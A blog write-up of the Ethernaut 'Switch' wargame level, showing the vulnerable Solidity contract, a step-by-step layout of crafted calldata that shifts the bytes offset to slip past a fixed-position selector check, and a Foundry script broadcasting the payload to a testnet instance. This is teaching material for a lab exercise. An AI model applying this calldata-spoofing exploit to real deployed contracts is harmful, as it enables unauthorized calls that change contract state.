Ethernaut-29-Switch

Challenge

Just have to flip the switch. Can't be that hard, right?

Things that might help:

Understanding how CALLDATA is encoded.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success,) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

Solve

This challenge tests the challenger's understanding of low-level calldata layout.

In order to let switchOn to be True, we must make the Switch contract call its own turnSwitchOn() function.

Due to the onlyThis modifier, our only entry point is the flipSwitch(bytes memory _data) function.

We have to call turnSwitchOn() via .call(_data) but also bypass the onlyOff check.

The onlyOff modifier will check that starting from calldata, the 68th bytes to the 72nd bytes must be the selector of turnSwitchOff(), which is equal to 0x20606e15.

cast sig "turnSwitchOff()"
=> 0x20606e15

Let's try to disassemble flipSwitch(bytes memory _data) to see what its entire calldata is expected to look like (in memory layout):

Note: each line is a piece of 32bytes of data, except the first line.

30c13ade                                                         # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # Leave it blank, fill in later
???????????????????????????????????????????????????????????????? # Leave it blank, fill in later
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()

Alright, we found where the turnSwitchOff() is.

Next, we need to fill in the data offset and data length of bytes memory _data.

What is the offset? The offset represents how far away from the starting point of calldata it is to point to the length of bytes memory _data.

Remember: the layout of dynamic data structure is [offset + length + data]. We’ve discussed similar topics at Ethernaut-19-AlienCodex.

30c13ade                                                         # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000020 # Offset of `bytes memory _data`. From 0 plus 32 bytes we can point to `_data.length`, so it's 0x20
0000000000000000000000000000000000000000000000000000000000000004 # Length of `bytes memory _data`. The total length is only 4 bytes.
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()

Alright, now we can pass the onlyOff modifier check.

But how do we use address(this).call(_data) to call the turnSwitchOn() function?

We can step back and sort out what the current _data will be:

0000000000000000000000000000000000000000000000000000000000000020 # Offset of `bytes memory _data`. From 0 plus 32 bytes we can point to `_data.length`, so it's 0x20
0000000000000000000000000000000000000000000000000000000000000004 # Length of `bytes memory _data`. The total length is only 4 bytes.
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()

Hmm... Since the onlyOff modifier does not do any checks on offset and data length, does it mean that we can directly manipulate the offset and length to make it point to what we want?

30c13ade                                                         # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # Offset of `bytes memory _data`, leave it blank, fill in later
???????????????????????????????????????????????????????????????? # leave it blank, fill in later
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff(), DONT MOVE!
...
0000000000000000000000000000000000000000000000000000000000000004 # Length of `turnSwitchOn.selector`, 4 bytes
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()

After all, as long as the position of the turnSwitchOff() is maintained, we can always pass the onlyOff modifier checks.

Let's fill in the offset of bytes memory _data:

30c13ade                                                         # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # Offset of `bytes memory _data`, point to "Length of `turnSwitchOn.selector`"
???????????????????????????????????????????????????????????????? # leave it blank, fill in later
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff(), DONT MOVE!
0000000000000000000000000000000000000000000000000000000000000004 # Length of `turnSwitchOn.selector`, 4 bytes
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()

Now, we have deprecated calldata (32 ~ 68) bytes, but in order to maintain the position of turnSwitchOff.selector, we still have to retain its placeholder.

30c13ade                                                         # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # Offset of `bytes memory _data`, point to "Length of `turnSwitchOn.selector`"
0000000000000000000000000000000000000000000000000000000000000000 # This can be any value
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff(), DONT MOVE!
0000000000000000000000000000000000000000000000000000000000000004 # Length of `turnSwitchOn.selector`, 4 bytes
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()

As a result, we got the correct bytes memory _data to pass the challenge!

bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"

Full solution code:


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

interface IGatekeeperThree{
    function trick() external returns(address);
}

contract Solver is Script {
    address _switch = vm.envAddress("SWITCH_INSTANCE");

    function setUp() public {}

    function run() public {
        vm.startBroadcast(vm.envUint("PRIV_KEY"));

        bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";

        _switch.call(data);

        vm.stopBroadcast();
    }
}
forge script Ethernaut29-Switch.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast

Potential Patches

None, this level is just designed for fun.

Calldata can be spoofed in some cases, please avoid using low-level operations to validate calldata.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣